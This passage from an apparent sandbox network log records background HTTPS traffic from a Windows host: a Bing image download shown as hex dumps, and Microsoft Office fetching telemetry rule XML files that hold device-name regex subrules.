f2 7f 6a ef ff 00 46 97 50 77 b7 bf 4f b9 e6 c7 bb 8f 37 fb db bf 85 ea 9d 8c 13 fe ef f7 3a e5 94 Data Ascii: ,Z\|MO[E?v}GC"?Vy-Hn"'?#ZOEw6$oZZ*xzZ[/lmr+QO,74Z?IKvCo>owFy1~_bMqk3PJKmBdy?h7uy4jijFPwO7:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:18 UTC	375	OUT	GET /th?id=OADD2.10239360432890_1TOC5U5IB565A9QI0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:18 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 747785 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B85B54EAC1874779B7DB547556AC42A9 Ref B: EWR30EDGE0411 Ref C: 2024-11-28T01:27:18Z Date: Thu, 28 Nov 2024 01:27:18 GMT Connection: close
2024-11-28 01:27:18 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 68 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 31 3a 33 37 3a 32 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``hExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 21:37:228
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: 77 4d e6 c3 59 33 c5 e5 4d 5a c1 e8 61 23 a6 d3 60 83 fb 3e 37 4f f5 75 27 95 fc 75 ca da ea 7e 55 de c7 f3 bc ba ed 3c 3f e4 5d da 56 72 4e 2a e6 91 f7 88 2c 6d bf bf 4f ba b1 8d fe e5 5a be 58 2d 21 f9 ea af 9f fc 69 40 da b1 8b ae 5b 47 f6 4d 89 fe b2 bc ff 00 58 b6 8f ce f9 eb d1 af a5 8e 58 64 7f 3b cb ae 0f 5c 8f fe 26 1b 1e 1a e9 a0 ec cc 2a 6e 62 c7 6d 3b cd bd 3f e5 9d 6b e9 31 4e 9f 7e ad 58 db 46 95 6b 65 5c a6 da 25 20 8e 2a 64 d6 db ea d4 6b 53 79 5b eb 2b 94 73 d7 da 44 17 1f 7e b2 ee 3c 39 1a 79 9b 21 f2 eb af 92 2a 8e 48 2b 45 52 44 b8 26 72 36 ba 2f 95 f7 21 a8 ee ac 63 96 68 dd e1 f2 e4 8e bb 48 ec e3 fb e9 59 ba 95 8c 8f f3 d5 aa ce e4 f2 24 62 6a 56 30 3c 3f f4 d2 b1 35 cd 06 c3 50 b4 ff 00 4a ff 00 59 ff 00 4c ab 7a 7b 39 3e e3 f9 d4 Data Ascii: wMY3MZa#`>7Ou'u~U<?]VrN,mOZX-!i@[GMXXd;\&nbm;?k1N~XFke\% dkSy[+sD~<9y!H+ERD&r6/!chHY$bjV0<?5PJYLz{9>
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: e8 dd 1d 3a 36 a6 c0 3c ad f5 36 d3 50 ee d9 47 9f b2 90 13 6e 93 ce f9 2a 48 da aa f9 f4 f7 bc 8d 2a 5a 6c 77 2e a5 1b ab 37 fb 41 ea 5f b6 6f a3 96 41 74 4f 3c 11 bf ce 95 93 77 07 f7 2a fe fa 64 f3 d5 47 dd 62 7a 98 92 41 22 54 52 56 b4 f2 c7 54 e4 54 7a de 32 b9 94 a2 8a 74 54 92 2d 37 6d 59 90 da 12 8a 36 9a 01 0e a6 d3 a9 d1 ae fa 0a 1b 44 6b 4f f2 aa 5d b1 f9 34 01 0e da 36 d3 f6 53 d2 a4 06 6c a7 d3 a3 a3 f7 74 00 47 1d 3f ca a4 4a 7e ca 4d d8 b4 93 19 27 99 4b e6 d2 54 7b a9 8e 52 68 93 77 bd 37 75 14 da 08 bb 61 46 d3 4e 8d 6a d4 70 52 6e c3 4a e5 78 ed b7 d1 24 1b 2a c7 ef 12 a2 76 a1 36 c6 d2 44 5b 69 db 68 dd ef 4d 92 99 03 5e 9d ba 3f e0 a6 d1 b4 d0 03 79 a3 9a 5f 2a 97 69 a7 70 0a 28 a2 8d c0 28 a3 69 a2 90 0e a6 d3 a9 b4 00 51 45 14 00 53 Data Ascii: :6<6PGnHZlw.7A_oAtO<wdGbzA"TRVTTz2tT-7mY6DkO]46SltG?J~M'KT{Rhw7uaFNjpRnJx$v6D[ihM^?y_*ip((iQES
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 4f df a5 75 91 e9 fe 55 65 eb 90 6f 8a 44 ae 88 55 7c f7 31 9d 35 cb b1 c6 c9 15 47 24 55 b1 25 b5 55 9e 0d 95 dc a6 8e 57 1b 99 72 45 4d 91 6a fc 91 54 12 45 5a 29 19 b8 94 a4 5a 24 5a b5 e5 54 5b 6b 42 4a fb 68 db 56 36 d1 b6 a8 56 2b ed a2 ac 6d a3 cb a0 65 7d b4 6d a9 7c aa 5d a6 82 48 76 d1 b6 ac 6d a3 6d 00 8a fb 68 db 56 23 5a 3c ba 07 62 be da 2a c7 97 44 71 d0 16 2f f8 72 08 3c ed f7 5f ea fc ca ef f4 a6 b4 bb d0 e4 4d 3b f7 7f f2 ce bc f6 37 92 28 76 25 76 1e 07 9e 3b 7b 49 3c e9 bc b8 eb cf c5 46 ea e7 66 1e 5f 64 af 1e 8b f6 bf 9d 21 fd e4 75 b5 e0 ef 0b df db ea 1e 7b ff 00 ab ab 5a 6e aa 8f 37 fd 74 ae a2 c7 50 8d e1 ae 1a d5 aa 24 d1 d5 4e 94 5e a8 bd a6 b4 91 43 b1 eb 4a 36 8d eb 26 39 f7 fd fa b5 0b 79 55 e7 c9 5d 9d 71 76 2f 48 b1 d4 72 Data Ascii: OuUeoDU\|15G$U%UWrEMjTEZ)Z$ZT[kBJhV6V+me}m\|]HvmmhV#Z<b*Dq/r<_M;7(v%v;{I<Ff_d!u{Zn7tP$N^CJ6&9yU]qv/Hr
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 34 d5 93 ee 3f fa 8a 95 78 c0 72 b3 65 7d 3a ce 3b 7d 72 37 4f de 47 1f fa ba f4 cf 03 c1 23 cd e7 de ff 00 ab ae 2a d7 c8 79 a3 df 0d 6f 69 ba ac f6 ff 00 b8 4f de 57 2e 22 f3 46 f4 2d 13 d4 2c 57 ed 13 6f f2 7f eb 95 68 c6 bb e1 d9 58 5a 1e a1 22 5a 47 3b cd 0d 6b 69 b7 91 cb f7 eb c7 94 5a 67 a9 19 26 8c 4f 18 e9 f6 89 fb f9 e1 86 4f 2f fd 55 67 c7 a6 5a 5e cd f2 43 fb b9 2b b0 d5 6c 60 d4 21 f2 27 fd e4 75 9b a6 e8 b0 69 ff 00 24 13 4d e5 ff 00 d3 5a a8 d4 f7 77 21 d3 d7 60 f0 fe 83 69 a7 ff 00 a8 87 f7 92 56 a4 16 30 27 cf 44 0d 56 a3 68 eb 19 49 b7 76 6a a0 92 1b 3d 8c 72 c3 b2 b9 fd 57 c2 76 17 1f eb ac ff 00 77 5d 54 72 51 3f cf 53 1a b2 4c a9 53 8b 5b 1e 4f a8 f8 42 c2 cb 56 8d de 1f 32 09 2b 5f 4a f0 ae 9b 77 a7 c8 90 7f ab 92 ba dd 56 c6 0b d8 Data Ascii: 4?xre}:;}r7OG#*yoiOW."F-,WohXZ"ZG;kiZg&OO/UgZ^C+l`!'ui$MZw!`iV0'DVhIvj=rWvw]TrQ?SLS[OBV2+_JwV
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: cf 9f cf e8 7e ee cc 27 f1 fa d7 04 b1 53 55 55 d2 f9 1a a8 e8 7d 3a 8d be 9f b7 7d 52 8e 4f fa 6d e6 7f d3 4a 96 39 2b d4 e6 33 22 f1 04 5b 34 9f fb 79 b6 ff 00 d1 c9 5a 92 41 be 6a e4 3e 2a 78 87 45 d3 f4 fb 1d 3a f7 c4 96 9a 0c f7 17 b0 dc 47 e6 ca 89 e6 45 13 87 97 ef 57 55 a7 6a f6 1a 85 a4 7a 8e 9d 34 37 16 b7 1f bc b6 92 2f b9 22 51 cd a9 4a 3a 22 5f b1 c9 fc 15 06 ab a4 4f 71 69 f2 4d 5a 30 4f 1d 5a f3 63 7a 15 46 98 38 26 8f 34 d6 34 89 ed fe 7a a1 05 b4 8f 36 f4 ff 00 57 5e 9b aa d9 a5 c4 35 cd 7f 66 79 53 79 75 d7 0a d7 47 2c e8 eb 73 97 d7 34 a9 25 87 7a 57 25 7d 06 ca f5 c9 ec ff 00 73 f3 d7 0d e2 0d 32 48 ae e4 77 87 f7 75 d7 87 ad ae a7 3d 7a 5a 68 71 b7 0b 50 48 b5 b7 7d 63 b2 a8 4d 6d 5e 8c 64 9a 38 5c 1a 32 e7 5d f5 5e 48 ab 52 48 2a 09 Data Ascii: ~'SUU}:}ROmJ9+3"[4yZAj>xE:GEWUjz47/"QJ:"_OqiMZ0OZczF8&44z6W^5fySyuG,s4%zW%}s2Hwu=zZhqPH}cMm^d8\2]^HRH
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 00 02 56 fc eb a6 4d c7 11 cc d6 fa 1a 46 3c d4 ac 87 c7 2d 12 4b 50 6e a6 6f ae bb 1c a3 a7 aa 73 ca f5 2c ef 51 49 57 17 62 46 41 3f 95 36 fa d2 82 fa b2 e4 a6 c6 db 2a da 4c cd 49 a3 5a ea fa 47 86 b0 75 8f 9e 6f 32 ad 6e aa b3 55 c1 28 b2 66 ee 8a 12 45 51 49 1d 5c db 4d 91 6b a7 98 cf 94 a5 e5 53 7c aa bb b4 d3 24 5a ae 72 4a bb 29 fb 4d 49 b6 9f b2 9b 95 85 62 08 d6 a4 8d 6a 68 e2 a9 23 5a 5c e3 51 b9 1c 6b 53 c6 b4 46 b5 2c 6b 53 cc 91 5c a1 1c 74 49 05 58 4a 9e 3a cf 9d 87 29 56 38 29 fe 45 5e 8d 69 fe 46 fa 4a a3 45 f2 a3 2e 48 2a ac 10 7e e7 fe da 3f fe 87 5b d2 41 54 34 df 2e e2 1b 99 20 fd e4 71 de cd 1f fd f2 f5 4a ab 27 90 cb 92 da a0 9e da b7 64 b6 92 a9 c9 04 95 b4 6a f9 91 28 98 33 c1 54 e4 8a b7 a6 82 4a cd 9e 2a de 32 4c c2 51 b1 97 24 Data Ascii: VMF<-KPnos,QIWbFA?6LIZGuo2nU(fEQI\MkS\|$ZrJ)MIbjh#Z\QkSF,kS\tIXJ:)V8)E^iFJE.H~?[AT4. qJ'dj(3TJ*2LQ$
2024-11-28 01:27:19 UTC	16067	IN	Data Raw: 37 72 eb da 76 bb 23 cf a8 db df 4a ff 00 67 8d a2 4d c8 97 31 23 6e 8e 28 fa ff 00 b7 51 78 57 c2 ba 6f 86 bc 4d a4 a5 ae 83 69 a7 4f 26 9b 73 a9 c7 1d b7 fc 7c fd 9e 74 d9 e5 b6 ec ef fd d4 9f 2a 37 cb 5d 1f db 55 69 51 7c f4 ae d2 f8 95 ac fe fb 58 87 4d f3 5a e7 8a 78 ab c5 9a d7 8e 35 cf ed 4f 12 cd a7 e9 d0 49 fb b8 e3 be df 0e 9d 69 b3 f7 8a bb 13 74 b3 6f 6f e2 7f f6 6b 92 ba f0 e5 da 7c 32 d3 7c 6a f7 93 49 75 7b ab 3d a5 b5 94 bb d1 36 79 3b d6 56 93 fe 7a 1f 9e af 78 ff 00 45 d4 b4 4f 10 eb 7a 43 e9 b6 96 49 65 72 fe 5d 94 bf 7e de de 2f 93 cc 66 66 fe ef 3f c4 ce dd aa d4 77 3f 6d f8 6f e1 bf 0d 5d 4d e6 47 71 e2 37 bb b6 b6 97 fe 7d 7e cd e4 ef ff 00 be f7 d7 bd 56 4d b5 2b dd 7e 96 0a 34 d3 8b 52 34 3c 01 a7 f8 4e 2f 16 4b 3e bd 35 a5 ef 97 Data Ascii: 7rv#JgM1#n(QxWoMiO&s\|t*7]UiQ\|XMZx5OIitook\|2\|jIu{=6y;VzxEOzCIer]~/ff?w?mo]MGq7}~VM+~4R4<N/K>5
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 6b 22 df fb 49 2e e3 7f 26 ef cc 8f fd 5f 95 bf ff 00 89 a6 eb 13 dd dd ea 17 2f a5 de 6a 11 c7 27 9d fb bb 9b b7 fd da 33 ff 00 e8 42 b6 7e 07 ac 8b f1 8b c2 50 26 a5 f3 c7 ad 43 ff 00 2d 5f f7 7b 7e 67 6d cd fe cd 7a de d6 6a 0d b4 9b f2 38 7d 94 79 ec 9e 85 ff 00 03 fc 3b f1 bf 8d 6d 24 bd f0 d7 86 ee ef 6c 7c c7 ff 00 4d fb 90 ef fe 25 8f 77 df aa fe 3f f0 67 8b 3c 39 69 ff 00 15 46 83 77 a5 49 1c 7f e8 de 6c 5f 25 7d 3d e2 3f 8b ba 4e 99 f2 69 7a 6c da ac ff 00 f2 cf fe 5d ac e3 ff 00 d9 9b fe 03 5e 69 f1 37 c7 fe 36 f8 87 f0 f7 c4 9a 63 cd a4 ff 00 67 59 69 bf da 77 36 51 5a 7c 91 a4 4f 1f ce 92 36 e7 f3 7e 7e 28 8b aa d5 e4 ac 35 18 5e d1 d4 f0 af 89 ba d4 97 d6 ba 25 ac f0 fe ef 4e d2 6d ac 23 f2 a5 ff 00 9e 69 f7 bf de 66 7a a5 1b 48 9a 4f c9 fb Data Ascii: k"I.&_/j'3B~P&C-_{~gmzj8}y;m$l\|M%w?g<9iFwIl_%}=?Nizl]^i76cgYiw6QZ\|O6~~(5^%Nm#ifzHO
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: a3 1f db f4 9b 6b 19 7e d3 77 22 2b f9 7f 63 d9 bb fd 1d 24 fd ee 24 8b ef 7f 71 36 d7 39 e2 3b cf 07 bd dd b3 ff 00 6c 5a 47 1d bd b2 41 6d 65 16 ff 00 b4 f9 bf eb 76 b4 9f f3 c7 fd a6 fe e6 07 3b ab 3a c7 fb 4a f7 c3 de 1f f0 36 af f6 4d 56 08 e4 9b fb 3a da 3b bf 27 ec 12 cb 37 99 f2 cb f2 c9 b7 d5 be ed 74 5e 31 d0 7c 3d 69 f0 ca fa 77 f1 24 d7 ba 6e 9d 1d cd a5 b5 b4 b6 9f 63 f3 2f fe 45 8d b6 26 ef ba bb fe 4c fd df 9b f8 e8 a1 49 ce 6a 2a f7 77 d9 d9 5b 5d 6d f2 2e 4d d9 d8 5d 2a d5 f4 2d 3f 56 d4 6f 6f 25 b2 8e 4b d8 6e 2d ae 7e 48 5e 7d df ea 9a da 18 db cb 46 6f ef 3f fa bf 99 ff 00 89 6b 13 c4 17 90 5f 5a e9 37 5e 1e f0 dc 32 69 d1 cb 37 fa d8 9e e3 fb 4e 58 a6 f9 e5 7d 9f bd 99 e3 f3 3f 79 f7 37 7c 85 7e 6a 9e 3f 0d 6b 31 78 67 4d d5 f5 1b cb Data Ascii: k~w"+c$$q69;lZGAmev;:J6MV:;'7t^1\|=iw$nc/E&LIjw[]m.M]-?Voo%Kn-~H^}Fo?k_Z7^2i7NX}?y7\|~j?k1xgM

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012720Z-174f7845968pf68xhC1EWRr4h80000000xw000000000kp5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012720Z-174f7845968xr5c2hC1EWRd0hn0000000ep0000000004cwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012720Z-174f7845968xlwnmhC1EWR0sv80000000xhg00000000bhvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012720Z-174f7845968xlwnmhC1EWR0sv80000000xp0000000002yw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012720Z-174f7845968cpnpfhC1EWR3afc0000000xf0000000001rn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
